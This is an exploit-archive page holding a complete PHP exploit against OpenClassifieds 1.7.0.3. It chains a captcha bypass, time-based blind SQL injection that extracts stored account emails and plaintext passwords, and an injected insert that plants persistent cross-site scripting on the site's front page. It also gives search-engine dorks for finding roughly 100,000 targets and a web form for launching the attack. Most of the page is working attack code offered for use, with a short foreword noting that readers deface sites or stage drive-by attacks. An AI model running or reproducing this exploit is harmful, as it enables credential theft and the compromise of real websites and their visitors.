ExploitFixes
OpenClassifieds 1.7.0.3 Chained: Captcha Bypass->SQLi->Persistent XSS on Frontpage 2010-12-28 00:15:09

Author:Michael Brooks (Rook)<br>
Application:OpenClassifieds 1.7.0.3<br>
download: http://open-classifieds.com/download/<br>
Exploit chain:captcha bypass->sqli(insert)->persistant xss on front page<br>
If registration is required an extra link in the chain is added:<br>
Exploit chain:blind sqli(select)->captcha
bypass->sqli(insert)->persistant xss on front page<br>
sites with SEO url's enabled:<br>
"powerd by Open Classifieds" inurl:"publish-a-new-ad.htm" (85,000 results)<br>
or default urls:<br>
"powerd by Open Classifieds" inurl:"item-new.php" (16,500 results)<br>
Total sites: ~100,000<br>
<br>
<br>
The target must be a link to the document root of OpenClassifieds<br>
(If the exploit doesn't immediately reload then blind sqli is
required, which will take a few minutes ;)<br>
<form>
Target:  <input size=128 name=target value="http://localhost/"><br>
Payload:<input size=128 name=xss value="<script>alert('xss')</script>"><br>
<input type=submit value="Attack">
</form><br>
<?php
/*
Foreword:
I have always wanted to write a chained exploit with a captcha
bypass, so I couldn't miss this
opportunity. I spent a bit more effort on this exploit even though
there aren't very many hits (around
100k starts to be worth while). Regardless, I dug into the
application and pulled out the vulnerabilities
needed to Finnish my masterpiece. Usually when I write a Remote Code
Execution exploit for a web
app you guys just deface the site or throw up drive-by attacks. So I
figured, persistent XSS on the
front page is equally as valuable, especially with yet another IE
0-day in the wild. The chain is within
the application its self. Process sand-boxing like
chroot/AppArmor/SELinux/Application-V(MS)
doesn't come into play. It works regardless of the operating system
or configurations (Suhosin,
safemode, magic_quotes_gpc and register_globals doesn't come into
play). I focused on the
application's internal configurations that could break the
exploitation process. In this case seo friendly
urls and requiring an account before posting.

"This web application [OpenClassifieds] is developed to be fast,
light, secure and SEO friendly."
Usually when I see that an application claims to be secure, they
really don't know what the fuck they
are doing. OpenClassifieds' Security model is deeply flawed and as a
result there are MANY
vulnerabilities in this code base which allowed me to string a few
cool ones together to make an
interesting exploit. OpenClassifieds is sanitizing everything on
input using cG() and cP(), these
functions are used to perform a mysql_real_escape_string() on all
GET and POST variables. Most
servers aren't using an exotic character set so from a security stand
point this is exactly identical to
magic_quotes_gpc. So I dusted off my usual magic_quotes_gpc auditing
tricks, look for
stripslashes(),base64decode(),urldecode(),html_entity_decode() lack
of quote marks around variables
in a query, ect... Sanitation must ALWAYS be done at the time of
use, parametrized queries are a
good example of this. Its impossible to account for all the ways a
variable can be mangled once it
enters a program and if you Sanitize input when it first enters the
program there will be cases where it
will become dangerous again. This isn't only a problem for SQLi,
its also a problem for XSS. I am
inserting JS into the database, which isn't a vulnerablity, but
printing it, is persistant XSS.

The blind sql injection is a bit strange. I can't use white space or
commas, which is a pain. I had to
rewrite my general purpose Blind SQLi Class to accommodate. A
binary search is used to greatly
speed up the blind sqli attack.
(which I also used in my php-nuke exploit:
http://www.exploit-db.com/exploits/12510/)

Special thanks to Reiners for this sqli filter evasion cheat sheet:
http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
Here are some changes I had to make to my blind sql injection class:
"select substring('abc',1,1)"=>"select substring('abc' from 1 for 1)"
if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)"
=>"case ".sprintf($question,"0+".$cur).">".$pos." when true then
sleep(".$this->timeout.") end"

CWE Violations leveraged by this exploit:
CWE-256: Plaintext Storage of a Password
CWE-804: Guessable CAPTCHA (I asked that they create this CWE when I
ran into a guy that works for Mitre.)
CWE-89: SQL Injection x2
CWE-79: Cross-site Scripting (Persistant)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vulnerable captcha:
openclassifieds/includes/common.php line 291
function encode_str ($input){//converts the input into Ascii HTML, to
ofuscate a bit
for ($i = 0; $i < strlen($input); $i++) {
$output .= "&#".ord($input[$i]).';';
}
//$output = htmlspecialchars($output);//uncomment to escape sepecial chars
return $output;
}
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
function mathCaptcha(){//generates a captcha for the form
$first_number=mt_rand(1, 94);//first operation number
$second_number=mt_rand(1, 5);//second operation number

$_SESSION["mathCaptcha"]=($first_number+$second_number);//operation result

$operation=" <b>".encode_str($first_number ." + ".
$second_number)."</b>?";//operation codifieds

echo _("How much is")." ".$operation;
}
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vulnerable persistant xss and sqli
/content/item-new.php line 41
$ocdb->insert(TABLE_PREFIX."posts
(idCategory,type,title,description,price,idLocation,place,name,email,phone,password,ip,hasImages)","".
cP("category").",".cP("type").",'$title','$desc',$price,$location,'".cP("place")."','".cP("name")."','$email','".cP("phone")."','$post_password','$client_ip',$hasImages");
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
*/
set_time_limit(0);
error_reporting(0);

function main(){
if($_REQUEST['target'] && $_REQUEST['xss']){
if(xssFrontPage($_REQUEST['target'],$_REQUEST['xss'])){
print("<b>Persistant XSS attack was sucessful.</b>");
}else{
print("<b>Persistant XSS attack has failed.</b>");
}
}
}

//w00t, I can crack your captcha with 4 lines of code!
//It would have been 3 if i had used eval(), but that would be a
vulnerability ;)
function breakCaptcha($page){
preg_match("/\<b\>(.*)\<\/b\>\?/",$page,$match);
$code=html_entity_decode($match[1]);
$math=new EvalMath();
return $math->evaluate($code);
}

function xssFrontPage($url,$xss){
$h=new http_client();
$page=$h->send($url."/content/item-new.php");
#Authentication required.
if(strstr($page,'Location: http')){#Do we need authentication?
print "Blind SQL Injection required.<br>";
$sex=new openclassifieds_blind_sql_injection($url."/");
if($sex->test_target()){
print "Target is vulnerable to attack!<br>";
$pass=$sex->find_string("password");
print "Found Password:<b>$pass</b><br>";
$email=$sex->find_string("email");
print "Found email:<b>$email</b><br>";
$h->postdata="email=$email&password=$pass&submit=loading...";
$h->send($url."/content/account/login.php");
$h->postdata='';
$page=$h->send($url."/");
}else{
die("This target is not exploitable!<br>");
}
}else{
$email="[email protected]";
}
$code=breakCaptcha($page);
$payload=blind_sql_injection::charEncode($xss);
$pwd=mt_rand(1,9999999);//Strong password :p
$fake_phone=mt_rand(1111111111,9999999999);
$fake_email=blind_sql_injection::charEncode(mt_rand()."@".mt_rand().".com");
$fake_ip=blind_sql_injection::charEncode(mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254));
//Stored xss in the description,place and name columns.
$inj="36,".mt_rand(1,20).",".$payload.",".mt_rand().",".mt_rand(2,500).",".mt_rand(1,10).",".mt_rand().",".mt_rand().",".$fake_email.",".$fake_phone.",".$pwd.",".$fake_ip.",0)#";
$h->postdata="category=".$inj."&type=0&place=home&title=title&price=1&description=desc&name=name&email=".$email."&math=".$code;
$h->send($url."/content/item-new.php");
$h->postdata='';
//I could use sql injection to find the id, but thats noisy and slow.
$rss=$h->send($url."/content/feed-rss.php");
//seo friendly
if(preg_match("/\-(.*)\.htm\<\/link\>/",$rss,$match)){
$guess=$match[1];
}else if(preg_match("/item\=(.*)\&type/",$rss,$match)){
$guess=$match[1];
}else{
$guess=0;
}
$guess++;
$page='';
$test=false;
#Now lets activate the XSS post.
for($x=$guess;$x-$guess<=128&&!$test;$x++){
$page=$h->send($url."/content/item-manage.php?pwd=".$pwd."&post=".$x."&action=confirm");
$test=strstr($page,"<script language='JavaScript'
type='text/javascript'>alert('");
}
return $test;
}

//http://localhost/openclassifieds/?location=%26%23039;/**/or/**/sleep(10)/**/or/**/1=%26%23039;
//The blind_sql_injeciton calss is a general exploit framework that we
are inheriting.
class openclassifieds_blind_sql_injection extends blind_sql_injection {
//This is the blind sql injection request.
function query($check){
//build the http request to Inject a query:
//"%26%23039;" is a single quote encoded with
urlencode(htmlencode("'",ENT_QUOTES));
$payload="%26%23039; or (select ".$check." from oc_accounts where
active=1 limit 1) or 1=%26%23039;";
#white space becomes and underscore "_" so it must be replaced.
$payload=str_replace(" ","/**/",$payload);
$this->set_get("location=".$payload);
}
}

//This is a very efficient blind sql injection class.
class blind_sql_injection{
var $url, $backup_url, $result, $http, $request_count, $timeout;
function blind_sql_injection($url,$timeout=10){
$this->request_count=0;
$this->url=$url;
$this->backup_url=$url;
$this->http=new http_client();
$this->timeout=$timeout;
}
function set_get($get){
$this->url=$this->url."?".$get;
}
function set_referer($referer){
$this->http->referer=$referer;
}
function set_post($post){
$this->http->postdata=$post;
}
function test_target(){
return $this->send("case true when true then
sleep(".$this->timeout.") when false then sleep(0)
end")&&!$this->send("case false when true then
sleep(".$this->timeout.") when false then sleep(0) end");
#return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)");
}
function num_to_hex($arr){
$ret='';
foreach($arr as $a){
if($a<=9){
$ret.=$a;
}else{
$ret.=chr(87+$a);
}
}
return $ret;
}
###These where not ported to the non-comma version.
//Looking for a string of length 32 and base 16 in ascii chars.
#function find_md5($column){
# return
$this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)"));
#}
#function find_sha1($column){
# return
$this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)"));
#}
//Look for an ascii string of arbitrary length.
function find_string($column){
$ret='';
//A length of zero means we are looking for a null byte
terminated string.
$result=$this->bin_finder(128,0,"ascii(substring($column from
%s for 1))");
foreach($result as $r){
$ret.=chr($r);
}
return strrev($ret);
}
//query() is a method that generates the sql injection request
function query($check){
//This function must be overridden.
}
function recheck($result,$question,$base){
$this->bin_finder($base,1,$question,$start);
//Force a long timeout.
$tmp_timeout=$this->timeout;
if($this->timeout<10){
$this->timeout=10;
}else{
$this->timeout=$this->timeout*2;
}
$l=1;
foreach($result as $r){
if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){
$result[]=$b;
break;
}
$l++;
}
$this->timeout=$tmp_timeout;
}
function linear_finder($base,$length,$question){
for($l=1;$l<=$length;$l++){
for($b=0;$b<$base;$b++){

if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){
$result[]=$b;
break;
}
}
}
}
#Binary search for mysql based sql injection.
function bin_finder($base,$length,$question){
$start_pos=1;
$result='';
for($cur=$start_pos;$cur<=$length||$length==0;$cur++){
$n=$base-1;
$low=0;
$floor=$low;
$high=$n-1;
$pos= $low+(($high-$low)/2);
$found=false;
while($low<=$high&&!$found){
#asking the sql database if the current value is
greater than $pos
if($this->send("case
".sprintf($question,"0+".$cur).">".$pos." when true then
sleep(".$this->timeout.") end")){
#if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
#if this is true then the value must be the modulus.
if($pos==$n-1){
$result[]=$pos+1;
$found=true;
}else{
$low=$pos+1;
}
#asking the sql database if the current value is less than $pos
}else if($this->send("case
".sprintf($question,"0+".$cur)."<".$pos." when true then
sleep(".$this->timeout.") end")){
#}else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
#if this is true the value must be zero, or in the
case of ascii, a null byte.
if($pos==$floor+1){
$found=true;
#We have found the null terminator so we have
finnished our search for a string.
if($length==0){
$length=-1;
}else{
$result[]=$pos-1;
}
}else{
$high=$pos-1;
}
}else{
#both greater than and less then where asked, so
so then the answer is our guess $pos.
$result[]=$pos;
$found=true;
}
$pos=$low+(($high-$low)/2);
}
print(".");
}
return $result;
}
//Fire off the request
function send($quesiton){
//build the injected query.
$this->query($quesiton);
$start=time();
$resp=$this->http->send($this->url);
//backup_url is for set_get()
$this->url=$this->backup_url;
$this->request_count++;
return (time()-$start>=$this->timeout);
}
//retroGod RIP
function charEncode($string){
$char="char(";
$size=strlen($string);
for($x=0;$x<$size;$x++){
$char.=ord($string[$x]).",";
}
$char[strlen($char)-1]=")%00";
return $char;
}
}

//General purpose http client that works on a default php install.
(curl not required)
class http_client{
var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='',
$referer='',$cookie='',$postdata='';
function send($loc){
//overload function polymorphism between gets and posts
$url=parse_url($loc);
if(!isset($url['port'])){
$url['port']=80;
}
$ua='Firefox';
if($this->proxy_ip!=''&&$this->proxy_port!=''){
$fp = pfsockopen( $this->proxy_ip, $this->proxy_port,
&$errno, &$errstr, 120 );
$url['path']=$url['host'].':'.$url['port'].$url['path'];
}else{
$fp = fsockopen( $url['host'], $url['port'], &$errno,
&$errstr, 120 );
}
if( !$fp ) {
print "$errstr ($errno)<br>\nn";
return false;
} else {
if(@!$url['query']){
$url['query']='';
}
if( $this->postdata=='' ) {
$request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
} else {
$request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
}
if($this->proxy_name!=''&&$this->proxy_pass!=''){
$request.="Proxy-Authorization: Basic
".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n";
}
$request.="Host: ".$url['host'].":".$url['port']."\r\n";
$request.="User-Agent: ".$ua."\r\n";
$request.="Accept: text/plain\r\n";
if($this->referer!=''){
$request.="Referer: ".$this->referer."\r\n";
}
$request.="Connection: Close\r\n";
if($this->cookie!=''){
$request.="Cookie: ".$this->cookie."\r\n" ;
}
if( $this->postdata!='' ) {
$strlength = strlen( $this->postdata );
$request.="Content-type:
application/x-www-form-urlencoded\r\n" ;
$request.="Content-length: ".$strlength."\r\n\r\n";
$request.=$this->postdata;
}
fputs( $fp, $request."\r\n\r\n" );
$output='';
while( !feof( $fp ) ) {
$output .= fgets( $fp, 1024 );
}
fclose( $fp );
$header=explode("\r\n\r\n",$output);
if(strstr($header[0],"Set-Cookie: ") && $this->cookie==''){
$cookie=explode("Set-Cookie: ",$header[0]);
$cookie=explode("\n",$cookie[1]);
$cookie=explode(";",$cookie[0]);
$this->cookie=trim($cookie[0]);
}
if(strstr($output,"Query:")){
die($output);
}
return $output;
}
}
//Use a http proxy
function proxy($proxy){ //user:[email protected]:port
$proxyAuth=explode('@',$proxy);
if(isset($proxyAuth[1])){
$login=explode(':',$proxyAuth[0]);
$this->proxy_name=$login[0];
$this->proxy_pass=$login[1];
$addr=explode(':',$proxyAuth[1]);
}else{
$addr=explode(':',$proxy);
}
$this->proxy_ip=$addr[0];
$this->proxy_port=$addr[1];
}
//Parses the results from a PHP error to use as a path disclosure.
function getPath($url,$pops=1){
$html=$this->send($url);
//Regular error reporting:
$resp=explode("array given in <b>",$html);
if(isset($resp[1])){
$resp = explode("</b>",$resp[1]);
}else{
//xdebug's error reporting:
$resp=explode("array given in ",$html);
if(isset($resp[1])){
$resp = explode(" ",$resp[1]);
}else{
$resp[0]=false;
}
}
$path=$resp[0];
//Can't use dirname()
if(strstr($path,"\\")){
$p=explode("\\",$path);
for($x=0;$x<$pops;$x++){
array_pop($p);
}
$path=implode("\\",$p);
}else{
$p=explode("/",$path);
for($x=0;$x<$pops;$x++){
array_pop($p);
}
$path=implode("/",$p);
}
return $path;
}
//Grab the server type from the http header.
function getServer($url){
$resp=$this->send($url);
$header=explode("Server: ",$resp);
$server=explode("\n",$header[1]);
return $server[0];
}
}

#used to evaluate the captcha. 1+2=3
class EvalMath {

var $suppress_errors = false;
var $last_error = null;

var $v = array('e'=>2.71,'pi'=>3.14); // variables
(and constants)
var $f = array(); // user-defined functions
var $vb = array('e', 'pi'); // constants
var $fb = array( // built-in functions
'sin','sinh','arcsin','asin','arcsinh','asinh',
'cos','cosh','arccos','acos','arccosh','acosh',
'tan','tanh','arctan','atan','arctanh','atanh',
'sqrt','abs','ln','log');

function EvalMath() {
// make the variables a little more accurate
$this->v['pi'] = pi();
$this->v['e'] = exp(1);
}

function e($expr) {
return $this->evaluate($expr);
}

function evaluate($expr) {
$this->last_error = null;
$expr = trim($expr);
if (substr($expr, -1, 1) == ';') $expr =
substr($expr, 0, strlen($expr)-1); // strip semicolons at the end
//===============
// is it a variable assignment?
if (preg_match('/^\s*([a-z]\w*)\s*=\s*(.+)$/',
$expr, $matches)) {
if (in_array($matches[1], $this->vb))
{ // make sure we're not assigning to a constant
return $this->trigger("cannot
assign to constant '$matches[1]'");
}
if (($tmp =
$this->pfx($this->nfx($matches[2]))) === false) return false; // get
the result and make sure it's good
$this->v[$matches[1]] = $tmp; // if
so, stick it in the variable array
return $this->v[$matches[1]]; // and
return the resulting value
//===============
// is it a function assignment?
} elseif
(preg_match('/^\s*([a-z]\w*)\s*\(\s*([a-z]\w*(?:\s*,\s*[a-z]\w*)*)\s*\)\s*=\s*(.+)$/',
$expr, $matches)) {
$fnn = $matches[1]; // get the function name
if (in_array($matches[1], $this->fb))
{ // make sure it isn't built in
return $this->trigger("cannot
redefine built-in function '$matches[1]()'");
}
$args = explode(",",
preg_replace("/\s+/", "", $matches[2])); // get the arguments
if (($stack = $this->nfx($matches[3]))
=== false) return false; // see if it can be converted to postfix
for ($i = 0; $i<count($stack); $i++) {
// freeze the state of the non-argument variables
$token = $stack[$i];
if (preg_match('/^[a-z]\w*$/',
$token) and !in_array($token, $args)) {
if
(array_key_exists($token, $this->v)) {
$stack[$i] =
$this->v[$token];
} else {
return
$this->trigger("undefined variable '$token' in function definition");
}
}
}
$this->f[$fnn] = array('args'=>$args,
'func'=>$stack);
return true;
//===============
} else {
return $this->pfx($this->nfx($expr));
// straight up evaluation, woo
}
}

function vars() {
$output = $this->v;
unset($output['pi']);
unset($output['e']);
return $output;
}

function funcs() {
$output = array();
foreach ($this->f as $fnn=>$dat)
$output[] = $fnn . '(' . implode(',',
$dat['args']) . ')';
return $output;
}

//===================== HERE BE INTERNAL METHODS
====================\\

// Convert infix to postfix notation
function nfx($expr) {

$index = 0;
$stack = new EvalMathStack;
$output = array(); // postfix form of
expression, to be passed to pfx()
$expr = trim(strtolower($expr));

$ops = array('+', '-', '*', '/', '^', '_');
$ops_r =
array('+'=>0,'-'=>0,'*'=>0,'/'=>0,'^'=>1); // right-associative
operator?
$ops_p =
array('+'=>0,'-'=>0,'*'=>1,'/'=>1,'_'=>1,'^'=>2); // operator
precedence

$expecting_op = false; // we use this in
syntax-checking the expression
//
and determining when a - is a negation

if (preg_match("/[^\w\s+*^\/()\.,-]/", $expr,
$matches)) { // make sure the characters are all good
return $this->trigger("illegal
character '{$matches[0]}'");
}

while(1) { // 1 Infinite Loop ;)
$op = substr($expr, $index, 1); // get
the first character at the current index
// find out if we're currently at the
beginning of a number/variable/function/parenthesis/operand
$ex =
preg_match('/^([a-z]\w*\(?|\d+(?:\.\d*)?|\.\d+|\()/', substr($expr,
$index), $match);
//===============
if ($op == '-' and !$expecting_op) {
// is it a negation instead of a minus?
$stack->push('_'); // put a
negation on the stack
$index++;
} elseif ($op == '_') { // we have to
explicitly deny this, because it's legal on the stack
return $this->trigger("illegal
character '_'"); // but not in the input expression
//===============
} elseif ((in_array($op, $ops) or $ex)
and $expecting_op) { // are we putting an operator on the stack?
if ($ex) { // are we expecting
an operator but have a number/variable/function/opening parethesis?
$op = '*'; $index--;
// it's an implicit multiplication
}
// heart of the algorithm:
while($stack->count > 0 and
($o2 = $stack->last()) and in_array($o2, $ops) and ($ops_r[$op] ?
$ops_p[$op] < $ops_p[$o2] : $ops_p[$op] <= $ops_p[$o2])) {
$output[] =
$stack->pop(); // pop stuff off the stack into the output
}
// many thanks:
http://en.wikipedia.org/wiki/Reverse_Polish_notation#The_algorithm_in_detail
$stack->push($op); // finally
put OUR operator onto the stack
$index++;
$expecting_op = false;
//===============
} elseif ($op == ')' and
$expecting_op) { // ready to close a parenthesis?
while (($o2 = $stack->pop())
!= '(') { // pop off the stack back to the last (
if (is_null($o2))
return $this->trigger("unexpected ')'");
else $output[] = $o2;
}
if
(preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches)) { // did
we just close a function?
$fnn = $matches[1]; //
get the function name
$arg_count =
$stack->pop(); // see how many arguments there were (cleverly stored
on the stack, thank you)
$output[] =
$stack->pop(); // pop the function and push onto the output
if (in_array($fnn,
$this->fb)) { // check the argument count
if($arg_count > 1)
return
$this->trigger("too many arguments ($arg_count given, 1 expected)");
} elseif
(array_key_exists($fnn, $this->f)) {
if ($arg_count
!= count($this->f[$fnn]['args']))
return
$this->trigger("wrong number of arguments ($arg_count given, " .
count($this->f[$fnn]['args']) . " expected)");
} else { // did we
somehow push a non-function on the stack? this should never happen
return
$this->trigger("internal error");
}
}
$index++;
//===============
} elseif ($op == ',' and
$expecting_op) { // did we just finish a function argument?
while (($o2 = $stack->pop()) != '(') {
if (is_null($o2))
return $this->trigger("unexpected ','"); // oops, never had a (
else $output[] = $o2;
// pop the argument expression stuff and push onto the output
}
// make sure there was a function
if
(!preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches))
return
$this->trigger("unexpected ','");
$stack->push($stack->pop()+1);
// increment the argument count
$stack->push('('); // put the
( back on, we'll need to pop back to it again
$index++;
$expecting_op = false;
//===============
} elseif ($op == '(' and !$expecting_op) {
$stack->push('('); // that was easy
$index++;
$allow_neg = true;
//===============
} elseif ($ex and !$expecting_op) { //
do we now have a function/variable/number?
$expecting_op = true;
$val = $match[1];
if
(preg_match("/^([a-z]\w*)\($/", $val, $matches)) { // may be func, or
variable w/ implicit multiplication against parentheses...
if
(in_array($matches[1], $this->fb) or array_key_exists($matches[1],
$this->f)) { // it's a func
$stack->push($val);
$stack->push(1);
$stack->push('(');
$expecting_op = false;
} else { // it's a var
w/ implicit multiplication
$val = $matches[1];
$output[] = $val;
}
} else { // it's a plain old var or num
$output[] = $val;
}
$index += strlen($val);
//===============
} elseif ($op == ')') { //
miscellaneous error checking
return $this->trigger("unexpected ')'");
} elseif (in_array($op, $ops) and
!$expecting_op) {
return
$this->trigger("unexpected operator '$op'");
} else { // I don't even want to know
what you did to get here
return $this->trigger("an
unexpected error occured");
}
if ($index == strlen($expr)) {
if (in_array($op, $ops)) { //
did we end with an operator? bad.
return
$this->trigger("operator '$op' lacks operand");
} else {
break;
}
}
while (substr($expr, $index, 1) == '
') { // step the index past whitespace (pretty much turns whitespace
$index++;
// into implicit multiplication if no operator is there)
}

}
while (!is_null($op = $stack->pop())) { // pop
everything off the stack and push onto output
if ($op == '(') return
$this->trigger("expecting ')'"); // if there are (s on the stack, ()s
were unbalanced
$output[] = $op;
}
return $output;
}

// evaluate postfix notation
function pfx($tokens, $vars = array()) {

if ($tokens == false) return false;

$stack = new EvalMathStack;

foreach ($tokens as $token) { // nice and easy
// if the token is a binary operator,
pop two values off the stack, do the operation, and push the result
back on
if (in_array($token, array('+', '-',
'*', '/', '^'))) {
if (is_null($op2 =
$stack->pop())) return $this->trigger("internal error");
if (is_null($op1 =
$stack->pop())) return $this->trigger("internal error");
switch ($token) {
case '+':

$stack->push($op1+$op2); break;
case '-':

$stack->push($op1-$op2); break;
case '*':

$stack->push($op1*$op2); break;
case '/':
if ($op2 == 0)
return $this->trigger("division by zero");

$stack->push($op1/$op2); break;
case '^':

$stack->push(pow($op1, $op2)); break;
}
// if the token is a unary operator,
pop one value off the stack, do the operation, and push it back on
} elseif ($token == "_") {
$stack->push(-1*$stack->pop());
// if the token is a function, pop
arguments off the stack, hand them to the function, and push the
result back on
} elseif
(preg_match("/^([a-z]\w*)\($/", $token, $matches)) { // it's a
function!
$fnn = $matches[1];
if (in_array($fnn, $this->fb))
{ // built-in function:
if (is_null($op1 =
$stack->pop())) return $this->trigger("internal error");
$fnn =
preg_replace("/^arc/", "a", $fnn); // for the 'arc' trig synonyms
if ($fnn == 'ln') $fnn = 'log';
eval('$stack->push(' .
$fnn . '($op1));'); // perfectly safe eval()
} elseif
(array_key_exists($fnn, $this->f)) { // user function
// get args
$args = array();
for ($i =
count($this->f[$fnn]['args'])-1; $i >= 0; $i--) {
if
(is_null($args[$this->f[$fnn]['args'][$i]] = $stack->pop())) return
$this->trigger("internal error");
}

$stack->push($this->pfx($this->f[$fnn]['func'], $args)); // yay...
recursion!!!!
}
// if the token is a number or
variable, push it on the stack
} else {
if (is_numeric($token)) {
$stack->push($token);
} elseif
(array_key_exists($token, $this->v)) {
$stack->push($this->v[$token]);
} elseif
(array_key_exists($token, $vars)) {
$stack->push($vars[$token]);
} else {
return
$this->trigger("undefined variable '$token'");
}
}
}
// when we're out of tokens, the stack should
have a single element, the final result
if ($stack->count != 1) return
$this->trigger("internal error");
return $stack->pop();
}

// trigger an error, but nicely, if need be
function trigger($msg) {
$this->last_error = $msg;
if (!$this->suppress_errors)
trigger_error($msg, E_USER_WARNING);
return false;
}
}

// for internal use
class EvalMathStack {

var $stack = array();
var $count = 0;

function push($val) {
$this->stack[$this->count] = $val;
$this->count++;
}

function pop() {
if ($this->count > 0) {
$this->count--;
return $this->stack[$this->count];
}
return null;
}

function last($n=1) {
return $this->stack[$this->count-$n];
}
}

main();
?>